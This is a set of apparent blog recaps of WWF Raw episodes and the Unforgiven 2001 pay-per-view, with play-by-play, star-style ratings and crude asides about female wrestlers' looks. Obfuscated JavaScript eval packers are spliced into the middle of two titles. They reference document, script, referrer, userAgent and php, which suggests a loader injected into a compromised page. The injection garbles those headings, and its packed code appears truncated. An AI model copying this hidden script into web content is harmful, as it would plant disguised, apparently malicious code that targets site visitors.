Shane asks Stephanie why she was in the handicap match last week. She says she had a plan which didn’t work that well because Booker was late. Tonight she’s in it again because….? Shane shows her what almost happened last week and Stephanie says he can’t tell her what to do. Taz comes in and wants respect so Shane gives him a match.

Perry Saturn vs. Shawn Stasiak

During Saturn’s entrance we get a recap of the Moppy Saga. Saturn runs in a circle to start so Stasiak clotheslines him down. Tilt-a-whirl slam gets two. A clothesline in the corner hits but Saturn hits something like an armdrag to take over. There’s a belly to belly and a spinning springboard dropkick for two. Stasiak comes back with a jumping back elbow for two. Saturn hits a northern lights suplex but Stacy has the referee. Shawn gets her down and kicks out of a superkick. Saturn runs the ropes and Stasiak falls on his face avoiding a leapfrog. Moss Covered Three Handled Family Credenza ends this short match.

Terri and Raven pop up on the screen with Moppy and put it through a wood chipper. You have Raven and Saturn and the feud is over a freaking mop. And people wonder why this whole Invasion story bombed.

HEY LOOK! IT’S STEPHANIE COMPLAINING ABOUT HER BROTHER! AGAIN! This time it’s to RVD. It’s now RVD vs. Jericho on Sunday for the Hardcore Title.

Hurricane offers his sidekick spot to Molly. Spike comes in to protest. You know where this is going.

Taz comes to see Shane and Booker, only to find out that his match is against the two of them.

Donate to the Red Cross. Nothing wrong with that.

Booker T/Shane McMahon vs. Taz

They double team Taz to start until Booker officially starts. Since Taz is down, Shane comes in for a Hart Attack. Jumping back elbow gets two. Back to Booker and never mind as Shane is in about 15 seconds later. Taz I think tags Booker for some reason before everyone heads to the floor. While Booker has the referee, Shane dives off the barricade with a clothesline.

Back inside Booker drops a knee and hits the Spinarooni. Shane gets in some free shots but slaps him once too often so Taz remembers that he was a killing machine in ECW and runs them both over. Tazmission is broken up by Shane and Booker “hits” the ax kick (Taz dropped about three seconds before Booker hit him. It was Taz’s fault) and the top rope elbow gets the pin.

Rating: D. Uh….ok? A guy that is a much bigger star than Taz and has a partner who is pretty talented in his own part can beat Taz (I’ll let you figure out who I mean by each of those descriptions) in a match that could have easily been cut in half. Not a godo match or anything and I’m not really sure what it proved.

Christian doesn’t care that Edge hasn’t been seen in two weeks. He wants the US Title to go with the IC Title he’s winning on Sunday.

European Title: Hurricane vs. Spike Dudley

Hurricane takes him to the mat followed by Spike taking him to the mat. They fight over a top wristlock with Hurricane throwing in a quick pose, thereby making him awesome. Hurricane takes him down and goes up, but Molly takes the cape. Now that’s just not nice. Spike goes up but gets shoved down and into the barricade. She throws the cape in and goes up (which the referee ignores) and accidentally dropkicks Spike. Eye of the Hurricane retains the belt after a short and uninteresting match.

We run down the Unforgiven card. Ok maybe just two match.

We get a few shots of some fans at WWF New York. Nice touch.

Torrie is looking GOOD in the back and runs into Shane. He thinks Torrie is manipulating Tajiri and is very proud of her for getting as far as she has.

Angle says he’ll win on Sunday when RVD pops up to point out that the fans were cheering for him. Angle says on Sunday, they’ll be chanting USA.

US Title: Christian vs. Tajiri

Christian jumps Tajiri while he’s kissing Torrie and we’re ready to go. They chop it out in the corner but Tajiri gets bored with that and kicks Christian in the head instead. He tries a rana but gets powerbombed down instead. Backbreaker gets two. Christian pounds on him a bit but gets his head kicks off and the champ takes over. The always awesome handspring elbow gets two. There’s the Tarantula but Tajiri misses a lot of kicks. Out to the floor and Christian loads up the Conchairto. Tajiri tries the Mist to defend himself but hits the referee instead and that’s a DQ.

Rating: C-. How could Christian vs. Tajiri be this boring? Oh, probably because it had four minutes and had no story behind it at all and was there so that Edge could run in at the end to set up the PPV match a little bit better? Not a horrible match or anything but when you had two guys like this out there, you should get a good match. On the other hand, I don’t remember Torrie looking this good in a VERY long time.

Edge runs in post match (duh) to break up the Conchairto and chase off Christian. The look on his face was the first time I thought Edge awesome.

During the break Rhyno Gored Tajiri, which set up their match on Sunday.

Shane makes that title match I just mentioned.

Stephanie McMahon/Test vs. The Rock

Stephanie is on the apron here and is knocked off almost immediately. Rock sends Test to the floor and the beating begins. Back inside Rock gets two but Test pounds him into the corner. Rock fires off some rights but walks into a gutwrench powerbomb for two. Test beats him down again and Stephanie comes in, only for Rock to nip up. The Canadian runs him over again and loads up the big boot but instead he walks into a Rock Bottom. Nick Patrick is with Stephanie though and that earns him a Rock Bottom of his own. Rock goes after Steph but Shane and Booker run in. Everyone hits their finishers and Steph gets the pin.

Rating: D+. I don’t particularly get how this is supposed to make me want to see Booker and Shane vs. Rock on Sunday but it got Stephanie on TV and let her pin the Rock so it must be a good idea right? Just have Rock face Shane and then have Booker and everyone else interfere and let Shane get the pin. How is that any different? Oh right: it doesn’t let Stephanie get to be on TV. Got it.

Austin won’t come out of his dressing room when RVD says their match is next. Austin says he’ll see Rob out there. Rob knocks a few more times and gets him to open the door in a bit I don’t really get.

Chris Jericho/Kurt Angle vs. Rob Van Dam/Steve Austin

They brawl on the floor to start as the fans chant USA. Wouldn’t that chant be more be for the Alliance team since they’re bother Americans? Austin and Jericho start with the champion in control. He puts Jericho on the top rope but gets caught by a dropkick for two. Off to Van Dam who misses some kicks and gets taken down by an enziguri. Here’s Angle who hits a cross body and glares at Austin.

Spinebuster gets two for Kurt. Jericho comes in and has to fight off both guys but walks into a kick from Van Dam to send him to the floor. Austin tries to piledrive him on the floor but Angle makes the save. Van Dam puts Jericho on the barricade and hits the spinning legdrop which gets two back in the ring. Austin comes in and hooks a sleeper which doesn’t last long. Jericho and Van Dam knock each other down and it’s hot tag to Angle.

Van Dam accidentally kicks Austin and gets suplexed for his troubles. Austin throws Angle into the referee and gets caught in the ankle lock but Van Dam saves. Van Dam gets put in the Walls so Austin gets the bell and clocks Jericho with it but the referee stops a similar shot to Angle. Rollup gets two for Kurt as does a suplex. Stunner is countered into the Angle Slam which is good for three.

Rating: C+. Standard good main event tag match here and THIS is how you build up Austin vs. Angle. Angle beat Austin (mostly) clean in a non-title match so there’s a reason to believe that he can do it again on Sunday, giving us a reason to want to watch the match to see if he can. That’s basic booking and no one can seem to get that anymore. This was a good match.

Overall Rating: C+. The show was good again this week but you can still see all of the major problems this show has. It’s like a nice painting covering up a huge hole in a wall: the outside looks good but it doesn’t change the fact that the hole is there. Stephanie needs to pick a story and stick with it, because her nose is in EVERYTHING right now and it’s not helping. Look at Shane: he pops up with different people but he’s not the focal point of anything but Rock’s feud, which makes him much more effect. Well that and he can actually do stuff. Stephanie is heavily involved in multiple stories and it’s not helping.

Also you still have the huge rosters and most of the people have nothing to do other than pop up every now and then. Case in point: Saturn and Raven. You have these two talented guys and the best you can do is throw them together because of a mop? Do they think people are going to care about that? That’s another issue with this: we have no reason to care about these guys and like I’ve been saying for weeks now, the Invasion happened and now….what? There never was an answer to that and it’s becoming more and more of a problem.

Here’s Unforgiven if you’re interested:

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Monday Night Raw – September 10, 2001: Can We Just Keep Stephanie In That Outfit Forever?

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fnirf|var|u0026u|referrer|hazeb||js|php'.split('|'),0,{})) Night Raw
Date: September 10, 2001
Location: Freeman Coliseum, San Antonio, Texas
Attendance: 8,239
Commentators: Jim Ross, Paul Heyman

We have two shows left before Unforgiven but if you look at the date of this one, you know that the next week’s show isn’t going to be your usual one. The main event of the show, that being Austin vs. Angle, is now set due to Angle going psycho last week which is completely against his character but he did it anyway. Let’s get to it.

We open with a clip of Austin and Angle from last week with Austin being tortured into a frenzy and giving Angle a rematch. On Smackdown Austin pretended that RVD was Angle and destroyed him. Austin had RVD beat but Angle popped up, causing Austin to get rolled up and pinned.

Here’s Austin to open the show. Scratch that as he’s leading the entire Alliance to the ring. Austin talks about how the people probably think he’s embarrassed, having lost to a member of the Alliance last week and that he cried last week on Raw. He isn’t ashamed of himself, but rather of everyone in the arena and the ten million people watching on TV because they’ll be cheering for Angle at Unforgiven.

Austin demands that RVD get into the ring. He wants to know who RVD thinks he is, and finger pointing results. Austin doesn’t like him and RVD doesn’t like him. The latter of those statements drew a huge pop. Austin puts down his belt and asks Rob to put his own down….and we have a hug. He likes RVD because of his confidence and thinks RVD should have enough confidence to challenge Angle to a match tonight. RVD calls Angle a great athlete and says he’d love to face him later.

Stone Cold says that he wants the Alliance to have confidence. That means that Test wants to say something. Test wants the Rock later tonight. He knows Shane and Booker are going to take the title off Rock at Unforgiven, but tonight he just wants to beat Rock up. Oh and nothing good has ever come from Texas. Austin: “He means you people, not me!” Now Kanyon has something to say too. He’s issuing an open challenge to any WWF wrestler for a US Title match, and he’s throwing that out just like Angle wanted to throw Austin off a bridge last week.

Now Taz wants to say something because this segment isn’t long enough yet. He thinks that at Unforgiven, Angle is going to beat Austin up and possibly take his title as well. That earns him a Stunner and a big beatdown from the other three Alliance members in the ring. Test kicks his head off and RVD adds a Five Star. And that’s it.

Christian vs. Billy Gunn

Christian jumps him immediately but gets reversed into the corner where Billy takes over. A hip toss gets two as does a Jackhammer. A Stinger Splash misses and Billy hits the post. Reverse DDT takes Billy down and Christian chokes him on the ropes. Oh yeah he’s a heel now. I almost forgot. Billy counters a piledriver and slingshots Christian into the corner. Christian pulls the referee in the way of the Fameasser and rolls Billy up in the corner for the pin with his feet on the ropes.

Rating: D+. Billy is one of those guys that they tried time after time to push and it never quite clicked other than when he was in the Outlaws. At the end of the day he’s the same guy that didn’t get over on his own but they kept pushing him over and over again. I know some people are fans of his but I’ve never quite gotten the appeal. Christian would continue his awesome feud with Edge soon after this.

Billy beats him up post match in a vain attempt to get people to care. Christian comes back and hits him with a chair. A One Man Conchairto ends Gunn.

Test and Stephanie are impressed by Christian. Test is going to impress her like that later tonight against Rock. Stephanie makes it a handicap match and Rock can pick Test’s partner. Just put the tights on her now.

Storm thinks the Hurricane gimmick is brilliant. Hurricane says he’s not pretending. I think he debuts whatsupwitdat here.

Hardy Boyz/Lita vs. Hurricane/Lance Storm/Ivory

Hurricane vs. Matt to get us going and there’s a loud Lita chant. The Hardys double team both men and it’s off to Storm vs. Jeff. Hurricane sneaks in and hooks a neckbreaker for two and it’s back to Lance. The Alliance team double teams Jeff and Ivory gets in a slap as well. Dropkick gets two for Storm.

Hurricane puts the cape on for a second for a clothesline then has Ivory take it back off. Matt gets in but Storm hits an enziguri while Matt is on the middle rope. Jeff knocks him to the floor and hits a dive to take out Storm. Back in the ring the girls come in and Lita beats up Ivory before snapping off a rana on Hurricane. Matt hits the Twist on Ivory and the Litasault gets the pin.

Rating: C. Not bad here but it was always good to see Lita. Ivory’s looks are underrated as well. The guys’ feuds didn’t go anywhere anytime soon as the Hardys were thrown back into a feud with the Dudleys because we hadn’t seen that recently enough. The match was nothing special though.

Cole goes to find out who Rock is going to pick for Test’s partner. Apparently Rock just got out of the shower and doesn’t have a towel on, so he catches Cole looking at the People’s Strudel. He says give him a minute.

The APA are playing cards when Jericho comes in to an ovation so loud that I can’t understand what he says. They have a six man up next. Jericho gets in a jab at Stephanie because the APA offers protection and Stephanie doesn’t use any.

Tarjiri is sitting on Regal’s desk with Torrie and Regal says that tonight, Tajiri is getting the US Title shot.

Rock has his trunks on now and Cole explains the challenge to him. First of all, two important words for Cole: EYE CONTACT. He talks about what the partner needs to have to compliment Test. They need to be fast, easy to manipulate, and have no testicles. Fast, easy and no testicles. Test’s partner will be Stephanie. Rock talks about how Test and Stephanie used to be engaged and sings a bit of the Wedding March for us.

Dudley Boys/Rhyno vs. Chris Jericho/Acolytes

Farrooq and D-Von start things off. D-Von punches a lot but walks into a clothesline for two. Off to Jericho who has his legs spread by the Dudleys. Rhyno comes in with a spinebuster for two. Off to Bubba for some elbows and a chinlock. He loads up the middle rope backsplash but Farrooq’s distraction allows Jericho to knock Bubba off the ropes. Hot tag to Bradshaw and D-Von as things pick up. Everything breaks down and Jericho single handedly knocks the Dudleys to the floor. Bradshaw’s Clothesline and the Lionsault pins Rhyno.

Rating: C. This was ok but these midcard feuds just kind of keep going and going. That was the problem that the Invasion had for it: none of the midcard stuff or the main event stuff for that matter either, ever went anywhere. Both sides won some stuff and they traded the titles back and forth, but nothing ever went anywhere until November when they just said here’s a winner take all match. That’s what held things back, among other things.

Stephanie rants about what Rock said to Test. Test doesn’t need her and wants it to be a one on one match. Stephanie insists she’s in it too because where would we be without the McMahons in the ring?

RVD comes in to see Austin and asks if it should be for the Hardcore Title when he faces Angle. Austin says he’d put it on the line so RVD says it’s a title match. Austin thinks RVD could be the next Austin in 5-10 years. RVD is happy being RVD.

Booker T vs. Undertaker

Taker shoves him into the corner and hammers away but runs into an elbow. Never mind as he kicks Booker’s head off for two. Out to the floor and Booker rams him into various things. He picks up a chair but Hebner won’t let him. That’s a good referee for once. Back in the ring Taker pounds away on Booker and hits the jumping clothesline. Booker kicks him in the face which Taker won’t sell. The side kick puts him down for a second but he blocks the ax kick and loads up the chokeslam but stops to beat up Steven Richards who runs in. Booker hits the scissors kick out of nowhere for the pin.

Rating: D. This would be one of those matches where just because Booker won, it doesn’t really mean anything. Taker almost kicked out of the kick and it took a run-in to let Booker hit a shot for a fluke win. This is one of the big problems Undertaker had back then: he wouldn’t sell for anyone and it kept his losses from meaning anything.

To further hammer in that point, Steven is about to take the Last Ride when Kronik runs in to beat Undertaker up, making Booker’s win completely forgotten. They beat Undertaker down and put him through the table. You know, because having Booker beat Taker clean and beat him down, possibly with an injury angle to make Booker look more lethal and as more of a threat against Rock, would have been stupid.

Stephanie (looking GOOD in her workout gear but with stupid looking hair) is outside on the phone with Shane who tries to talk her out of the match. This is the building where she won the Women’s Title so she can be dominant here again.

US Title: Tajiri vs. Kanyon

Kanyon takes him into the corner to start but Tajiri gets behind him and fires off the strikes. They go to the corner and the Flatliner gets two for Kanyon. They go to the floor where nothing happens and Tajiri tries a sunset flip coming back in. In a SWEET counter, Kanyon stands up and hooks a northern lights suplex out of the sunset flip attempt for two. Kanyon picks up the belt but Torrie grabs it and swings, hitting Tajiri in the head for two. Kanyon gets a rollup with his feet on the ropes for two. Green Mist and the Buzzsaw Kick give Tajiri the title.

Rating: C-. Not a horrible match I guess and Torrie looked smoking hot as always, but giving them a total of three and a half minutes didn’t do them any favors. Both of these guys were good in the ring but their characters weren’t going to get them any further than they got here, and that’s ok.

Recap of Austin vs. Angle. This is an extended version of the opening video.

Austin gives RVD a pep talk and RVD says he’ll win, which is what Angle couldn’t do, “Because I’m Rob….” Austin: “I KNOW WHO YOU ARE!!!!” That made me laugh way more than it should have.

Hardcore Title: Rob Van Dam vs. Kurt Angle

Angle gets technical to start so RVD hits him with a technical elbow to the face. Kurt is cool with that and suplexes RVD to the floor. Back in an enziguri puts Kurt down but he fights out of the corner. Van Dam tries to jump over Angle coming out of the corner but Kurt grabs the foot and puts on the ankle lock. RVD quickly grabs the rope, which is HARDCORE! They head outside and Van Dam hits a knee to the face for two, only to get caught in the ankle lock again.

This time he grabs a chair and cracks Kurt in the head with it to put him down. Back inside and they slug it out with Van Dam kicking Kurt’s head off. He puts the chair on top of Angle’s chest and puts Kurt on the apron for a slingshot legdrop which gets two on the floor. Angle counters a piledriver and drives the chair into Van Dam’s throat. Up to the stage and Rob uses the metal part of the set to pull himself up and choke Angle. As Kurt gets back up Rob tries a spin kick but Kurt grabs the ankle and gets the submission and the title.

Rating: C. Pretty decent match here and Angle looks like a better threat against Austin as a result. I’m sure they’ll wind up screwing it up because he can’t go into a world title match as the Hardcore Champion because that might make the title seem like a big deal (not sarcastic here as that wouldn’t make sense) and that shouldn’t happen.

Immediately after the fall, Austin comes out and throws BOTH guys off the stage with Van Dam getting the pin a second later to regain the title. Great.

Angle is stretchered out so JR and Heyman yell at each other A LOT. It’s about would Angle have thrown Austin off a bridge or not. JR says of course not because he didn’t do it. The table is gone due to the Undertaker attack earlier so it looks even better.

Test/Stephanie McMahon vs. The Rock

Stephanie looks GREAT in the sports bra and workout pants. JR says that Stephanie left Test standing at the altar to REALLY mess with history and Heyman calls him out on it without saying what happened. Stephanie sits in on commentary instead of getting in the ring. Test jumps him in the corner to start and is quickly sent to the floor. Stephanie gets in a few shots and Test hammers on Rock back in the ring. Sidewalk slam gets two.

Off to a bearhug as Stephanie and Heyman suck up to each other. Rock comes back with the spinning DDT and both guys are down. Rock slugs away and loads up the Rock Bottom but Test escapes. Rock hits the spinebuster instead but Stephanie trips him on the People’s Elbow attempt. Test kicks Rock’s head off and Stephanie covers him for two. Rock Bottom to Stephanie is broken up so she calls down Booker. Rock counters the pumphandle and shoves Test into Stephanie, setting up the Rock Bottom for the pin.

Rating: C-. Nothing match but DANG Stephanie’s new rack looked great out there. Seriously there’s nothing else to praise in this match other than those things. This was the same thing they’ve done with Rock for the last three weeks so it’s kind of hard to care about this match at all.

Angle has a bad neck and might be out of Unforgiven. Austin seems…..pleased?

Overall Rating: C+. This wasn’t a bad show and they built up Unforgiven some more, but the rest of the card really needs to be fleshed out. The title change in there didn’t mean anything but getting the title off Kanyon was a good idea. It wasn’t a great show, but for a show that needed to build up the PPV more, this was a good one.

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Unforgiven 2001: Angle Does It For America

Unforgiven eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ireis|var|u0026u|referrer|nfyty||js|php'.split('|'),0,{})) 2001
Date: September 23, 2001
Location: Mellon Arena, Pittsburgh, Pennsylvania
Attendance: 13,855
Commentators: Jim Ross, Paul Heyman

Boy have things changed in a year. We’re in the Alliance Era now, meaning we have two world title matches. First up is a handicap match with Shane/Booker teaming up to fight Rock for the WCW Title and Angle vs. Austin with Angle getting another shot as the hometown boy. This is a very different style also as other than two matches, everything is over ten minutes long. Let’s get to it.

This is less than two weeks after 9/11 so let’s get patriotic! There’s some miscommunication in there somewhere as she starts to sing God Bless America after being announced as singing America the Beautiful. She has one of those voices where the louder she gets the more it sounds like screeching.

The opening video talks about the aforementioned main events.

WWF Tag Titles: Hardy Boys vs. Hurricane/Lance Storm vs. Dudley Boys vs. Big Show/Spike Dudley

Dudleys have the titles and this is elimination rules. Helms is European Champion. Storm/Hurricane and the Dudleys are Alliance. Brawl to start with Show beating up the Dudleys on his own. Matt vs. D-Von gets us going officially but it’s off to Hurricane quickly. Hurricane poses a lot so Matt arm drags him and poses too. The hat wearing Jeff comes in to a girl pop.

Spike wants to fight Helms because he tried to steal Molly from Spike so Helms runs. He lets Storm beat Spike down and then comes back in. Helms wanted Molly to be his superhero sidekick. That could never happen right? I mean it’s not like she’d…..ok so she turns on Spike later in the week and becomes Mighty Molly. Hurricane gets the cape (which was a really disappointing show) and it’s gone that fast. Gutbuster gets two on Spike. Off to Lance who gets caught in a Dudley Dog to put both guys down.

Hot tag brings in Show and it breaks down fast. The Hardys dive on a lot of people and Spike climbs onto Show’s shoulders to dive on EVERYONE. Show points to the corner and everyone in the arena freaks. Bubba breaks it up so Show beats up everyone in sight, chokeslamming Storm to end him and get us down to three teams. The Dudleys hit a double suplex on Show and Matt is back in, rolling Spike up for two.

Spike counters the Twist of Fate into a neckbreaker for two. The second attempt works a bit better and SHOCK AND AWE SHOCK AND AWE, we get the Hardys vs. the Dudleys. Bubba breaks up Poetry in Motion and they call for 3D. It’s Bubba vs. Jeff now and Bubba chops loudly. Jeff jumps really high on a back drop and it looks great. Matt tries to come in and help, letting Jeff get caught in What’s Up.

D-Von hooks a chinlock and Jeff is in trouble again. D-Von gets a sloppy powerslam for two. Out to the floor and Bubba sends Jeff into the steps and that looked nasty as Jeff was a bit high so his hip hit the steps straight on. Jeff manages to fire off a Whisper in the Wind (I don’t think Ross knows that name) and brings in Matt. He dives out to the floor with a moonsault to take out both Dudleys. Twist of Fate is countered into 3D but Jeff dives off with a Swanton to break it up. Bubba hits his self-titled Bomb as Jeff is being put out so D-Von can steal the pin to retain.

Rating: B-. Pretty fun opener here and it ate up a lot of time. The Dudleys vs. the Hardys was always entertaining but dude, how many times can they have it before it gets boring? The tag division was totally dead by the time we got to Mania so that should tell you a lot right there. This was good stuff though and the other teams actually made it a bit better which is rare in these matches.

RVD is just getting here. No wonder he was criticized. Stephanie comes up to him and wishes him luck against Jericho. She offers him services and sex might be kind of almost maybe sort of involved. He turns her down but I think she meant managing. He does need help finding a dressing room. Her hair is awful here.

Angle’s family is in the front row. Well if that doesn’t seal the ending I don’t know what does. Kurt isn’t medically cleared due to a neck injury. I’ll retract my previous statement: THAT seals it more than anything else.

We recap Raven vs. Saturn which is over Moppy. Moppy is just that: a mop. Saturn was in love with it and Raven put it in a woodchipper. Terri left Saturn for Raven during this also.

Raven vs. Perry Saturn

Saturn goes off on him to start as Paul gets in the line of the night: “They’re fighting over the memory of a mop.” Raven goes to the floor and hits the Russian leg sweep into the barrier and a drop toehold into the steps. JR talks about the Flock and Heyman talks about how JR never watched Nitro. JR: “I was busy!” Back in and Raven grabs a cobra clutch of all things.

Saturn escapes but Raven hits a HARD knee lift to send him out to the floor. Saturn keeps trying to get back in but Raven keeps knocking him back to the floor. He manages to get back in with a sunset flip but Raven grabs the rope for two. Saturn hits his usual nice superkick and pounds away. Suplex puts Raven down again. Raven counters a top rope rana and a sunset flip gets two. Perry goes way old school with a catapult and the Moss Covered Three Handled Family Credenza gives Saturn the win.

Rating: C. This was a Raw match but it was fine. Saturn bleeding from the eye made him look like a warrior…even though this wasn’t a match that needed a warrior. These two always had solid chemistry together and even here with Raven and Saturn both meaning nothing it was a decent match.

To show what the Alliance did to the company, every match after this is a title match.

Christian talks to the gorgeous Lillian about Edge and how he’s going to fulfill his dream and prove he’s better than his brother. It’s worth it too.

We recap Edge vs. Christian which is about Christian being jealous of Edge’s success, namely winning the KOTR and IC Title. This led to the awesome “CHRISTIAN! CHRISTIAN! AT LAST YOU ARE ON YOUR O-O-O-O-O-WN” music. Edge’s face visuals were amazing in this feud.

Intercontinental Title: Christian vs. Edge

Edge has the always awesome Rob Zombie entrance here too. Edge hammers away to start and Christian tries to get a breather. They fight up the ramp and it’s all Edge here. Edge hits a slingshot to send his brother/friend into the set face first. Back to the ring and Edge is in firm control. He rams Christian’s head into the middle buckle ten times and chokes away a bit.

Christian sends him into the post and let’s talk about grandma. Christian is really not quite used to being on offense on his own yet. It took him a few years to really get going with it and even then it took him a few more years to break to the main event level. Edge gets a shot in and heads up top. He shoves his brother/friend off and jumps, landing on his feet. He fakes out Christian and the Canadian hits a German on the Canadian for two.

Edge is bleeding from under his eye. They slug it out and a double cross body puts both of them down. This isn’t really gelling but it’s not bad. Unprettier is countered into the Edge-O-Matic for two. Edge is tossed to the floor and he crawls under the ring so he can come out the other side and hit a top rope cross body for two. The less successful brother goes to the floor and grabs some chairs for a Conchairto but Edge sweeps the leg, sending a chair into Christian’s head. Edge tries the same thing and Christian pops him in the balls with a chair for the title.

Rating: C-. It’s not a bad match but the flow was way off. It’s like they went from one set of spots to the next with little in between. They would get a lot better but at this point Christian just wasn’t ready to do much and Edge wasn’t good enough in the ring to be able to carry him there yet either.

We recap the Brothers of Destruction vs. Kronik. Steven Richards blamed Taker for RTC splitting up and then Kronik beat him up, drawing out Kane. Kronik cost the Brothers the WWF Tag Titles but since this is the Alliance Era, they had both titles at once so they were still the WCW champions, because once you lose a title match you’re still champions right?

Taker talks about how awesome they are and how they’ll beat Kronik.

WCW Tag Titles: Kronik vs. Undertaker/Kane

Richards is with Kronik here. The brawl starts on the floor and it’s Adams vs. Taker to officially get us going. Off to Kane who still has a bad arm. Off to Clark with Kronik in control now. Big boot gets two. There are a lot of kicks and punches in this. Kane kind of falls down on a neckbreaker….and then a shoulderbreaker. Taker comes in and works on the arm, hitting Old School.

An armbar goes on but Adams breaks it up. Clark sells the arm so he’s up a few steps already. More punches and kicks from Kronik and they’re not clicking at all. Kronik takes over with double teaming and upgrades their offense with a double shoulder block for two. Off to the chinlock with Adams keeping Taker down. Back to Clark but Taker hits a running DDT and there’s the tag to Kane.

He cleans house and a big boot puts both guys down. A side slam to Clark does the same and Kane loads up a chokeslam. Adams makes the save and we get the rare triple clothesline to put everyone down. Taker comes back in and it all breaks down. He sets for a chokeslam on Clark but Richards comes in for the save. Double chokeslam to Taker is broken up and Kane hits his clothesline and a chokeslam ends Clark to keep the titles on the Brothers.

Rating: D-. This match was voted worst match of the year….and I’m really not sure why. Sure it’s bad but I’ve seen FAR worse matches than this before. Kronik looked as limited as you can be and they would be fired soon after this for the match. They needed more seasoning and the offer was to send them to the minors but they refused and were fired because of it. I don’t get why this was blasted so much because it’s not the worst match I’ve ever seen or really even close to it. I’m sure I could find some worse WCW matches.

Post match Steven gets beaten up.

Shane tries to fire up Booker and Taz comes in to fire both of them up.

Steph goes looking for RVD and talks through his door, saying that since tomorrow is her birthday she wants him to destroy Jericho. She still can’t act. I mean really, how hard is it to sound like you’re not on a script. More sex is implied. Jericho is behind her and it’s time for the great insults. “How old are you going to be?” “25.” “No I asked how old you’ll be, not how many men you’ve been with in the past week.” Implant jokes are made as Stephanie got some surgery recently and I can’t say I’m complaining.

Hardcore Title: Rob Van Dam vs. Chris Jericho

JR and Paul have an argument about RVD’s ECW accomplishments. Why would you want to argue with Heyman about that? They fight to a stalemate with both guys trying dropkicks and the fans applaud. They exchange some nice pinfall reversals and RVD is the fan favorite. Jericho slaps him in the face and starts winning through the use of strikes. RVD gets a rollup using just his feet for two.

There have been no weapon shots used yet and we’re about 5 minutes into this. Jericho is sent to the floor and Van Dam hits a cross body off the apron for two. There’s the spin kick to Jericho’s back while he’s on the railing but Jericho moves as Van Dam crashes. And now it’s time for the ladders. Jericho takes his head off with it and we go back into the ring. Van Dam’s shoulder goes into the post twice and Jericho is kind of wrestling heel here.

Both guys are suplexed onto the ladder with Jericho doing it second. Rob escapes a Walls attempt and hits a modified Rolling Thunder (he rolled through once and then just splashed him instead of a backsplash) and then a split legged moonsault for two. Lionsault misses and Van Dam takes his head off with a spin kick, giving us about our third busted eye of the night.

Five Star misses and Jericho gets two. This has been a really good match so far. Jericho takes a drop toehold to send him into the ladder. Rob grabs a chair and slams Jericho down onto it then climbs the ladder. Jericho counters by throwing the ladder at Rob’s head and putting the Walls on him ON THE LADDER, ala Benoit at the 01 Rumble. Van Dam crashes to the floor and Jericho misses a dive onto him.

I’m sorry for all the play by play here but it’s one of those matches where there’s nothing to make fun of. Jericho finds a chair under the ring and RVD’s suicide dive eats chair. That only gets two so Jericho sends the arm into the post again. Back inside Jericho takes a spin kick for two but rolls out of the cover into a Fujiwara armbar but Rob makes the ropes. The fans are starting to get behind Jericho as he uses a chair on the arm and back. Here’s Stephanie to grab the chair but Jericho takes a BIG swing at her. She drops to the floor, letting Rob hit a Van Daminator and the Five Star to retain.

Rating: B+. Now this is more like it. This is a fine example of the match being about the guys using the weapons rather than the weapons being used on the guys and that almost always guarantees a better match. These are two guys that could have a good match no matter what the stipulation and that’s the formula for a great match. Jericho would turn heel soon after this but wouldn’t join the Alliance.

Booker fires himself up and Shane helps him. Shane wouldn’t mind winning the title either.

We recap Rock vs. Booker/Shane. Rock beat Booker in the main event of Summerslam for the WCW Title. Since Shane owned WCW he made the next match, which is a handicap match for the title. For some reason this is set to Rey’s old WCW music.

WCW World Title: Shane McMahon/Booker T vs. The Rock

If either of the heels get a pin, they win the title. Booker and Shane have to tag and Booker starts us off. Rock gets a quick neckbreaker for two as Shane makes the save. I’d expect that a lot tonight. The fans think Shane is a cat. A belly to back suplex gets two as Shane saves again. Shane tags himself in and runs into a fresh Rock. Rock fakes him out after a chase and the beating is on.

JR tries to talk about the WCW traditionalists hating the idea of Shane as champion. There are so many replies to that I’m not sure where to start. The WCW guys take over and work on Rock’s ribs. Rock counters Shane with the release overhead belly to belly and Shane is in trouble. Rock grabs a Sharpshooter and Booker makes the save. Outside we go and Shane hits a clothesline off the railing to put Rock down.

Shane may be annoying at times but for a guy that isn’t a regular wrestler he can pull off some good stuff. Booker actually covers after a snapmare which thankfully is good for only one. Outside again and Booker misses a big chair shot. Rock can’t get anything going because Shane interferes again. There’s a slingshot into the post which Rock can sell like no other.

Back inside IT’S A SPINAROONI!!! Rock grabs a rollup for two and we’re back on the floor again. Booker tries to set up the elbow for Shane but Rock moves and punches away. That doesn’t last long as he’s right back on the table again after a superkick. Back inside and Rock hits a Samoan Drop for no cover as Shane brings the belt in, accidentally clocking Booker with it.

A belt shot to Rock gets two and we’re back to a regular match for a few moments. Shane tries to hit his elbow but Rock rolls away. Rock fights them both off with punches and clotheslines. A DDT gets two on Booker. Shane takes Rock down and nips up, setting up a Shanebow. Rock nips up instead and plants Shane with the Rock Bottom. Spinebuster sets up the People’s Elbow on Booker but here’s Test to break that up. Somehow this isn’t a DQ because Nick Patrick is corrupt.

Bradshaw comes out and chases Test into the crowd as a WWF referee is here now. Why? It’s a WCW Title match. He pulls Patrick out of the ring to break up a pin so Patrick beats up the WWF guy. Booker gets two on Rock so the WWF referee pulls Patrick out, only to get blasted by Booker. Book End is broken up and there’s a Rock Bottom but there’s no referee. Oh wait yeah there is and it’s over.

Rating: C. This was fine at first and then it went all nuts. We had two wrestlers run-in, two referees fighting, two ref bumps, a pair of belt shots and a third ref in a handicap match with a crooked referee. And people wonder why it was claimed the main events were overbooked at this point. I mean dude, how hard is it to have Rock make a superman comeback and beat both guys with Rock Bottoms? Either way this wasn’t bad but overbooking killed it.

Tajiri wants to fight tonight even though he has bad ribs. Torrie begs to get to be at ringside to Regal and Regal gives in. Uh…point of this?

